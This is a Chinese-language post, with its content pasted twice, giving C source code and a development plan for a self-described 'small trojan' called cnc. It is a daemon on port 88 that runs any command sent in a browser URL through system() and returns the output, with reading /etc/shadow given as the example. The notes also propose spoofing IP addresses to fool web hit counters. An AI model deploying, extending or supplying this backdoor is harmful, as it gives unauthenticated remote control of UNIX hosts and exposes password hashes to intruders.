小木马cnc源代码及开发文档
以下的程序算是一个小小的木马吧,设计目的是通过浏览器来控制远程UNIX系统。比如输入 http://192.168.0.111:88/cat /etc/shadow 就能在浏览器里看到 /etc/shadow 的内容。目前也就这些可以,比如 ls 等只有输出的命令好使,象 vi 这样的交互式程序就有些麻烦了。不过只要弄熟悉了 UNIX 及 HTTP 的细节应该问题不大的。我在这里帖出源代码,只能算是一个想法的初步实现而已,希望有兴趣的人和我一起开发,是个练手的好机会啊!
/*
* Author: bobdai
* Email : bobdai@sohu.com
* Homepage: http://bobdai.126.com
*
* Jun 15, 2000
*/
#include
#include
#include
#include
#include
#define SA struct sockaddr
main()
{
int n, listenfd, connfd;
char rbuf[1024], wbuf[1024], cbuf[256], *str;
FILE *fp;
struct sockaddr_in servaddr;
if( (listenfd=socket(AF_INET, SOCK_STREAM, 0)) <0 )
perror( "socket" ), exit(0);
bzero( &servaddr, sizeof(servaddr) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl( INADDR_ANY );
servaddr.sin_port = htons( 88 );
if( bind(listenfd, (SA *)&servaddr, sizeof(servaddr)) <0 )
perror( "bind" ), exit(0);
if( listen(listenfd, 10) <0 )
perror( "listen" ), exit(0);
for(;;)
{
bzero( cbuf, 256 );
bzero( wbuf, 1024);
if( (connfd=accept(listenfd, (SA *)NULL, NULL)) <0 )
perror( "accept" ), exit(0);
if( read(connfd, rbuf, 1024) <0 )
perror( "read" ), exit(0);
if( (fp=fopen("~~~tempfile~~~", "w")) == NULL)
perror( "open tempfile error"), exit(0);
fclose( fp );
str = strstr( rbuf, "GET /" );
str += 5;
for( n=0; *str != ' '; n++ )
{
if( *str == '%' )
{
str += 3;
*(cbuf+n) = ' ';
}
else *(cbuf+n)=*(str++);
}
strcat( cbuf, ">~~~tempfile~~~" );
printf( "%s ", cbuf );
system( cbuf );
if( (fp=fopen("~~~tempfile~~~", "r")) == NULL)
perror( "open tempfile error"), exit(0);
strcpy( wbuf, "Result:
" );
if( write(connfd, wbuf, strlen(wbuf)) <0 )
perror( "write" ), exit(0);
fgets( wbuf, 1000, fp );
while( !feof(fp) )
{
strcat( wbuf, "
" );
if( write(connfd, wbuf, strlen(wbuf)) <0 )
perror( "write" ), exit(0);
fgets( wbuf, 1000, fp );
}
fclose( fp );
unlink( "~~~tempfile~~~" );
close( connfd );
}
}
cnc 开发文档
一、把程序做成什么样子
1、思路。程序是运行在宿主机上的一个守护进程,通过某个 TCP 端口接受发来的系统命令,并执行这些命令,然后将结果输出到客户端。
2、客户端界面。为了简化客户端程序的编写及使用的方便性,采用浏览器作为客户端。将浏览器分为两个框架(frame),下面的框架为输入部分,可由普通文本框、文本编辑框来实现;上面的框架为输出部分,cnc 的运行结果输出到这里。
3、要完成的基本功能。能够执行所有的非交互式命令。比如,ls、cd、cc、man 等命令我们可以视为非交互式命令,而 vi 这种命令就视为交互式命令,因为在执行过程中他需要控制终端的输入。如果要迁就 vi 来写一个通过浏览器与之交互,无论是编程还是使用都不方便的。所以我想将 vi 的编辑功能用浏览器来实现。先在浏览器的文本编辑框里编好输入内容在上传。
二、技术准备
1、HTTP(1.1) 协议分析( 参考:NetXray 监视 HTTP 的运行,RFC2068 )
Request
浏览器通过 Request 来告诉服务器需要什么东西。打开 NetXray ,在浏览器里输入 http://192.168.0.111/aaa.html ,观察 NetXray 截获到的数据可以看到,首先是 TCP 三路握手,问完"吃了吗",浏览器就向服务器发请求了。我们看看这个请求是怎么发的。TCP 头部紧接着就是 HTTP 的头部了。HTTP 的头部各字段并非定长的,以 0d 0a 来标志结束。这是 TCP 头部紧接的第一个头部字段:47 45 54 20 2f 61 61 61 2e 68 74 6d 6c 20 48 54 54 50 2f 31 2e 31 0d 0a,翻译过来就是:GET /aaa.html HTTP/1.1 。以后还有 ACCEPT、HOST 等字段。知道了这个,我们就在浏览器里添加一个输入框看看输入框的内容是怎么 submit 到服务器的。我们使用"POST"类型的 form :
看看 HTTP request 是什么样的,第一个字段变成了:50 4f 53 54 20 2f 61 61 61 2e 68 74 6d 6c 20 48 54 54 50 2f 31 2e 31 0d 0a,即:POST /aaa.html HTTP/1.1 。POST 的数据放到了 HTTP 头部后的数据区中,HTTP 头部的结束标志是:0d 0a 0d 0a 。在数据区,我们可以看到:74 31 3d 61 64 73 66 61 73 64 66 61 73 64 66 61,即:t1=adsfasdfasdfa,这就是我们通过输入框 t1 POST 过去的数据。
题外话:通过对 HTTP 头部的分析,又产生了一个欺骗计数器的想法:以伪造的 IP 地址向计数器放置地发 HTTP 的 request,呵呵,看看那些蠢货计数器们如何对付!
Response
由于直接向浏览器 write HTML 页面就能在浏览器上显示,所以先不做 Response 的分析。
框架(frame)的处理分析。
老办法,写个页面来测试一下,用 NetXray 做分析。a.htm:
可以看到,在服务器将 a.htm 传送给浏览器以后,浏览器立即向服务器发送请求要求得到 b.htm 和 c.htm 。我们可以根据这一处理特性,将需要输出的数据根据浏览器的请求分别发送给不同的框架。
2、UNIX 上命令的执行
... ...(续)
???今日问题 ???
输出窗口的刷新问题
描述:输出窗口应该做成向上滚动刷新的方式,就象一般聊天室的做法。
目前没有很好的想法来解决这个问题,请高手指点。
另:工具 NetXray 下载。
三、程序的总体结构
1、结构图
(略)
2、模块
HTTP 协议分析模块 ( http.c )
int http_ana( u_char *buf_in, char *buf_cmd, char *buf_data );
输入:u_char *buf_in,收到的整个客户端数据(可能有多个 HTTP 协议包)。
输出:char *buf_cmd,文本输入框输入的命令
char *buf_data,文本编辑框输入的数据
函数返回负数表示出错,出错码待定。
int http_in( u_char *buf_in );
无输入
输出:u_char *buf_in,客户端一次 POST 发送来的所有 HTTP 包的组合。
函数返回负数表示出错,出错码待定。
服务器端命令解释模块 ( cmd.c )
int execute_cmd( char *buf_cmd );
输入:char* buf_cmd,客户端命令
描述:如果是非交互式命令,执行后输出到客户端;交互式命令目前仅考虑对 vi 的支持,但要考虑到加入别的支持的良好扩展性,调用函数 int execute_vi() 来执行 vi 命令的处理。函数返回负数表示出错,出错码待定。
int execute_vi( char *buf_cmd );
输入:char* buf_cmd,客户端命令
描述:对 vi 的处理我们需要客户端输入的命令里带有要编辑的文件名作为参数,可以带多个文件名。对每一个文件名做如下处理:如果当前目录下有这个文件,则读出文件内容到编辑缓冲区,否则置空编辑缓冲区;刷新客户端的输入框架,使之变成带一个文本编辑器的 form ,编辑缓冲区的内容传递给文本编辑器;等待用户编辑送出编辑后数据到编辑缓冲区;将编辑缓冲区内容存入指定文件。函数返回负数表示出错,出错码待定。
浏览器端脚本模块
命令记忆 类似于 doskey 的东西
浏览器输出框架的动态刷新 实现类似于一般聊天室的输出刷新功能。
由于我对浏览器端脚本的编写不是很熟悉,不知道这两个功能是否能在浏览器上实现,万望高手指点。这里是我作的浏览器端的界面,希望有人能在其基础上给我加入需要的功能,多谢了。
总控模块 ( cnc.c )
void main()
初始化 socket 端口,初始化浏览器端界面,等待浏览器的命令。
另注
注意将各个模块里自定义的函数定义成 static ,避免冲突。
/*
* Author: bobdai
* Email : bobdai@sohu.com
* Homepage: http://bobdai.126.com
*
* Jun 15, 2000
*/
#include
#include
#include
#include
#include
#define SA struct sockaddr
main()
{
int n, listenfd, connfd;
char rbuf[1024], wbuf[1024], cbuf[256], *str;
FILE *fp;
struct sockaddr_in servaddr;
if( (listenfd=socket(AF_INET, SOCK_STREAM, 0)) <0 )
perror( "socket" ), exit(0);
bzero( &servaddr, sizeof(servaddr) );
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl( INADDR_ANY );
servaddr.sin_port = htons( 88 );
if( bind(listenfd, (SA *)&servaddr, sizeof(servaddr)) <0 )
perror( "bind" ), exit(0);
if( listen(listenfd, 10) <0 )
perror( "listen" ), exit(0);
for(;;)
{
bzero( cbuf, 256 );
bzero( wbuf, 1024);
if( (connfd=accept(listenfd, (SA *)NULL, NULL)) <0 )
perror( "accept" ), exit(0);
if( read(connfd, rbuf, 1024) <0 )
perror( "read" ), exit(0);
if( (fp=fopen("~~~tempfile~~~", "w")) == NULL)
perror( "open tempfile error"), exit(0);
fclose( fp );
str = strstr( rbuf, "GET /" );
str += 5;
for( n=0; *str != ' '; n++ )
{
if( *str == '%' )
{
str += 3;
*(cbuf+n) = ' ';
}
else *(cbuf+n)=*(str++);
}
strcat( cbuf, ">~~~tempfile~~~" );
printf( "%s ", cbuf );
system( cbuf );
if( (fp=fopen("~~~tempfile~~~", "r")) == NULL)
perror( "open tempfile error"), exit(0);
strcpy( wbuf, "Result:
" );
if( write(connfd, wbuf, strlen(wbuf)) <0 )
perror( "write" ), exit(0);
fgets( wbuf, 1000, fp );
while( !feof(fp) )
{
strcat( wbuf, "
" );
if( write(connfd, wbuf, strlen(wbuf)) <0 )
perror( "write" ), exit(0);
fgets( wbuf, 1000, fp );
}
fclose( fp );
unlink( "~~~tempfile~~~" );
close( connfd );
}
}
cnc 开发文档
一、把程序做成什么样子
1、思路。程序是运行在宿主机上的一个守护进程,通过某个 TCP 端口接受发来的系统命令,并执行这些命令,然后将结果输出到客户端。
2、客户端界面。为了简化客户端程序的编写及使用的方便性,采用浏览器作为客户端。将浏览器分为两个框架(frame),下面的框架为输入部分,可由普通文本框、文本编辑框来实现;上面的框架为输出部分,cnc 的运行结果输出到这里。
3、要完成的基本功能。能够执行所有的非交互式命令。比如,ls、cd、cc、man 等命令我们可以视为非交互式命令,而 vi 这种命令就视为交互式命令,因为在执行过程中他需要控制终端的输入。如果要迁就 vi 来写一个通过浏览器与之交互,无论是编程还是使用都不方便的。所以我想将 vi 的编辑功能用浏览器来实现。先在浏览器的文本编辑框里编好输入内容在上传。
二、技术准备
1、HTTP(1.1) 协议分析( 参考:NetXray 监视 HTTP 的运行,RFC2068 )
Request
浏览器通过 Request 来告诉服务器需要什么东西。打开 NetXray ,在浏览器里输入 http://192.168.0.111/aaa.html ,观察 NetXray 截获到的数据可以看到,首先是 TCP 三路握手,问完"吃了吗",浏览器就向服务器发请求了。我们看看这个请求是怎么发的。TCP 头部紧接着就是 HTTP 的头部了。HTTP 的头部各字段并非定长的,以 0d 0a 来标志结束。这是 TCP 头部紧接的第一个头部字段:47 45 54 20 2f 61 61 61 2e 68 74 6d 6c 20 48 54 54 50 2f 31 2e 31 0d 0a,翻译过来就是:GET /aaa.html HTTP/1.1 。以后还有 ACCEPT、HOST 等字段。知道了这个,我们就在浏览器里添加一个输入框看看输入框的内容是怎么 submit 到服务器的。我们使用"POST"类型的 form :
看看 HTTP request 是什么样的,第一个字段变成了:50 4f 53 54 20 2f 61 61 61 2e 68 74 6d 6c 20 48 54 54 50 2f 31 2e 31 0d 0a,即:POST /aaa.html HTTP/1.1 。POST 的数据放到了 HTTP 头部后的数据区中,HTTP 头部的结束标志是:0d 0a 0d 0a 。在数据区,我们可以看到:74 31 3d 61 64 73 66 61 73 64 66 61 73 64 66 61,即:t1=adsfasdfasdfa,这就是我们通过输入框 t1 POST 过去的数据。
题外话:通过对 HTTP 头部的分析,又产生了一个欺骗计数器的想法:以伪造的 IP 地址向计数器放置地发 HTTP 的 request,呵呵,看看那些蠢货计数器们如何对付!
Response
由于直接向浏览器 write HTML 页面就能在浏览器上显示,所以先不做 Response 的分析。
框架(frame)的处理分析。
老办法,写个页面来测试一下,用 NetXray 做分析。a.htm:
可以看到,在服务器将 a.htm 传送给浏览器以后,浏览器立即向服务器发送请求要求得到 b.htm 和 c.htm 。我们可以根据这一处理特性,将需要输出的数据根据浏览器的请求分别发送给不同的框架。
2、UNIX 上命令的执行
... ...(续)
???今日问题 ???
输出窗口的刷新问题
描述:输出窗口应该做成向上滚动刷新的方式,就象一般聊天室的做法。
目前没有很好的想法来解决这个问题,请高手指点。
另:工具 NetXray 下载。
三、程序的总体结构
1、结构图
(略)
2、模块
HTTP 协议分析模块 ( http.c )
int http_ana( u_char *buf_in, char *buf_cmd, char *buf_data );
输入:u_char *buf_in,收到的整个客户端数据(可能有多个 HTTP 协议包)。
输出:char *buf_cmd,文本输入框输入的命令
char *buf_data,文本编辑框输入的数据
函数返回负数表示出错,出错码待定。
int http_in( u_char *buf_in );
无输入
输出:u_char *buf_in,客户端一次 POST 发送来的所有 HTTP 包的组合。
函数返回负数表示出错,出错码待定。
服务器端命令解释模块 ( cmd.c )
int execute_cmd( char *buf_cmd );
输入:char* buf_cmd,客户端命令
描述:如果是非交互式命令,执行后输出到客户端;交互式命令目前仅考虑对 vi 的支持,但要考虑到加入别的支持的良好扩展性,调用函数 int execute_vi() 来执行 vi 命令的处理。函数返回负数表示出错,出错码待定。
int execute_vi( char *buf_cmd );
输入:char* buf_cmd,客户端命令
描述:对 vi 的处理我们需要客户端输入的命令里带有要编辑的文件名作为参数,可以带多个文件名。对每一个文件名做如下处理:如果当前目录下有这个文件,则读出文件内容到编辑缓冲区,否则置空编辑缓冲区;刷新客户端的输入框架,使之变成带一个文本编辑器的 form ,编辑缓冲区的内容传递给文本编辑器;等待用户编辑送出编辑后数据到编辑缓冲区;将编辑缓冲区内容存入指定文件。函数返回负数表示出错,出错码待定。
浏览器端脚本模块
命令记忆 类似于 doskey 的东西
浏览器输出框架的动态刷新 实现类似于一般聊天室的输出刷新功能。
由于我对浏览器端脚本的编写不是很熟悉,不知道这两个功能是否能在浏览器上实现,万望高手指点。这里是我作的浏览器端的界面,希望有人能在其基础上给我加入需要的功能,多谢了。
总控模块 ( cnc.c )
void main()
初始化 socket 端口,初始化浏览器端界面,等待浏览器的命令。
另注
注意将各个模块里自定义的函数定义成 static ,避免冲突。
虽然是流水已去不再回来,真怀念童年那个纯真的小孩儿……